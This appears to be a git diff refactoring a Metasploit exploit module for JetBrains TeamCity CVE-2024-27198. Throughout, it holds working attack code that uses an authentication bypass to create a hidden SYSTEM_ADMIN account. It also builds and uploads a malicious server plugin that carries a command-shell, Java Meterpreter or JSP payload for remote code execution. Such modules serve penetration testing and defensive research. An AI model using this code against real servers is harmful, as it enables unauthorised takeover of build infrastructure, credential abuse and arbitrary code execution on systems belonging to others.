diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb index 16254e2fe4dc..4b98f1dfb103 100644 --- a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb +++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb @@ -187,52 +187,9 @@ def exploit token_name = nil token_value = nil - admin_username = Faker::Internet.username - admin_password = Rex::Text.rand_text_alphanumeric(16) + http_authorization = auth_new_admin_user - res = send_auth_bypass_request_cgi( - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users'), - 'ctype' => 'application/json', - 'data' => { - 'username' => admin_username, - 'password' => admin_password, - 'name' => Faker::Name.name, - 'email' => Faker::Internet.email(name: admin_username), - 'roles' => { - 'role' => [ - { - 'roleId' => 'SYSTEM_ADMIN', - 'scope' => 'g' - } - ] - } - }.to_json - ) - - unless res&.code == 200 - fail_with(Failure::UnexpectedReply, 'Failed to create an administrator user.') - end - - print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)") - - http_authorization = basic_auth(admin_username, admin_password) - - # Login via HTTP basic authorization and store the session cookie. - res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'), - 'keep_cookies' => true, - 'headers' => { - 'Origin' => full_uri, - 'Authorization' => http_authorization - } - ) - - # A failed login attempt will return in a 401. We expect a 302 redirect upon success. - if res&.code == 401 - fail_with(Failure::NoAccess, 'Failed to login with new admin user credentials.') - end + fail_with(Failure::NoAccess, 'Failed to login with new admin user credentials.') if http_authorization.nil? else unless res&.code == 200 # One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here @@ -247,9 +204,7 @@ def exploit # Extract the authentication token from the response. token_value = res.get_xml_document&.xpath('/token')&.attr('value')&.to_s - if token_value.nil? - fail_with(Failure::UnexpectedReply, 'Failed to read authentication token from reply.') - end + fail_with(Failure::UnexpectedReply, 'Failed to read authentication token from reply.') if token_value.nil? print_status("Created authentication token: #{token_value}") @@ -263,108 +218,9 @@ def exploit # plugin_name = Rex::Text.rand_text_alphanumeric(8) - if target['Arch'] == ARCH_CMD - - case target['Platform'] - when 'win' - shell = 'cmd.exe' - flag = '/c' - when 'linux', 'unix' - shell = '/bin/sh' - flag = '-c' - else - fail_with(Failure::BadConfig, 'Unsupported target platform') - end - - zip_resources = Rex::Zip::Archive.new - - zip_resources.add_file( - "META-INF/build-server-plugin-#{plugin_name}.xml", - <<~XML - - - - - - #{shell} - #{flag} - - - - - - XML - ) - elsif target['Arch'] == ARCH_JAVA - # If the platform is java we can bootstrap a Java Meterpreter - if target['Platform'] == 'java' - zip_resources = payload.encoded_jar(random: true) - - # Add in PayloadServlet as this is implements Runable and we can run the payload in a thread. - servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class') - zip_resources.add_file('/metasploit/PayloadServlet.class', servlet) - - payload_bean_id = Rex::Text.rand_text_alpha(8) - - # We start the payload in a new thread via some Spring Expression Language (SpEL). - bootstrap_spel = "\#{ new java.lang.Thread(#{payload_bean_id}).start() }" - - # NOTE: We place bootstrap_spel in a separate bean, as if this generates an exception the plugin will fail - # to load correctly, which prevents the exploit from deleting the plugin later. We choose java.beans.Encoder - # as the setExceptionListener method will accept the null value the bootstrap_spel will generate. If we - # choose a property that does not exist, we generate several exceptions in the teamcity-server.log. - - zip_resources.add_file( - "META-INF/build-server-plugin-#{plugin_name}.xml", - <<~XML - - - - - - - - XML - ) - else - # For non java platforms with ARCH_JAVA, we can drop a JSP payload. - zip_resources = Rex::Zip::Archive.new - - zip_resources.add_file("buildServerResources/#{plugin_name}.jsp", payload.encoded) - end - - else - fail_with(Failure::BadConfig, 'Unsupported target architecture') - end - - zip_plugin = Rex::Zip::Archive.new - - zip_plugin.add_file( - 'teamcity-plugin.xml', - <<~XML - - - - #{plugin_name} - #{plugin_name} - #{Faker::Lorem.sentence} - #{Faker::App.semantic_version} - - #{Faker::Company.name} - #{Faker::Internet.url} - - - - - XML - ) + zip_plugin = create_payload_plugin(plugin_name) - zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack) + fail_with(Failure::BadConfig, 'Could not create the payload plugin.') if zip_plugin.nil? # # 3. Upload the payload plugin to the TeamCity server @@ -399,9 +255,7 @@ def exploit 'data' => message.to_s ) - unless res&.code == 200 - fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin.') - end + fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin.') unless res&.code == 200 # # 4. We have to enable the newly uploaded plugin so the plugin actually loads into the server. @@ -420,9 +274,7 @@ def exploit } ) - unless res&.code == 200 - fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.') - end + fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.') unless res&.code == 200 # As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done. begin @@ -480,9 +332,7 @@ def exploit } ) - unless res&.code == 200 - fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.') - end + fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.') unless res&.code == 200 end ensure # @@ -505,6 +355,168 @@ def exploit end end + def auth_new_admin_user + admin_username = Faker::Internet.username + admin_password = Rex::Text.rand_text_alphanumeric(16) + + res = send_auth_bypass_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users'), + 'ctype' => 'application/json', + 'data' => { + 'username' => admin_username, + 'password' => admin_password, + 'name' => Faker::Name.name, + 'email' => Faker::Internet.email(name: admin_username), + 'roles' => { + 'role' => [ + { + 'roleId' => 'SYSTEM_ADMIN', + 'scope' => 'g' + } + ] + } + }.to_json + ) + + unless res&.code == 200 + print_warning('Failed to create an administrator user.') + return nil + end + + print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)") + + http_authorization = basic_auth(admin_username, admin_password) + + # Login via HTTP basic authorization and store the session cookie. + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => full_uri, + 'Authorization' => http_authorization + } + ) + + # A failed login attempt will return in a 401. We expect a 302 redirect upon success. + if res&.code == 401 + print_warning('Failed to login with new admin user credentials.') + return nil + end + + http_authorization + end + + def create_payload_plugin(plugin_name) + if target['Arch'] == ARCH_CMD + + case target['Platform'] + when 'win' + shell = 'cmd.exe' + flag = '/c' + when 'linux', 'unix' + shell = '/bin/sh' + flag = '-c' + else + print_warning('Unsupported target platform.') + return nil + end + + zip_resources = Rex::Zip::Archive.new + + zip_resources.add_file( + "META-INF/build-server-plugin-#{plugin_name}.xml", + <<~XML + + + + + + #{shell} + #{flag} + + + + + + XML + ) + elsif target['Arch'] == ARCH_JAVA + # If the platform is java we can bootstrap a Java Meterpreter + if target['Platform'] == 'java' + zip_resources = payload.encoded_jar(random: true) + + # Add in PayloadServlet as this is implements Runable and we can run the payload in a thread. + servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class') + zip_resources.add_file('/metasploit/PayloadServlet.class', servlet) + + payload_bean_id = Rex::Text.rand_text_alpha(8) + + # We start the payload in a new thread via some Spring Expression Language (SpEL). + bootstrap_spel = "\#{ new java.lang.Thread(#{payload_bean_id}).start() }" + + # NOTE: We place bootstrap_spel in a separate bean, as if this generates an exception the plugin will fail + # to load correctly, which prevents the exploit from deleting the plugin later. We choose java.beans.Encoder + # as the setExceptionListener method will accept the null value the bootstrap_spel will generate. If we + # choose a property that does not exist, we generate several exceptions in the teamcity-server.log. + + zip_resources.add_file( + "META-INF/build-server-plugin-#{plugin_name}.xml", + <<~XML + + + + + + + + XML + ) + else + # For non java platforms with ARCH_JAVA, we can drop a JSP payload. + zip_resources = Rex::Zip::Archive.new + + zip_resources.add_file("buildServerResources/#{plugin_name}.jsp", payload.encoded) + end + + else + print_warning('Unsupported target architecture.') + return nil + end + + zip_plugin = Rex::Zip::Archive.new + + zip_plugin.add_file( + 'teamcity-plugin.xml', + <<~XML + + + + #{plugin_name} + #{plugin_name} + #{Faker::Lorem.sentence} + #{Faker::App.semantic_version} + + #{Faker::Company.name} + #{Faker::Internet.url} + + + + + XML + ) + + zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack) + + zip_plugin + end + def get_install_path(http_authorization) res = send_request_cgi( 'method' => 'GET',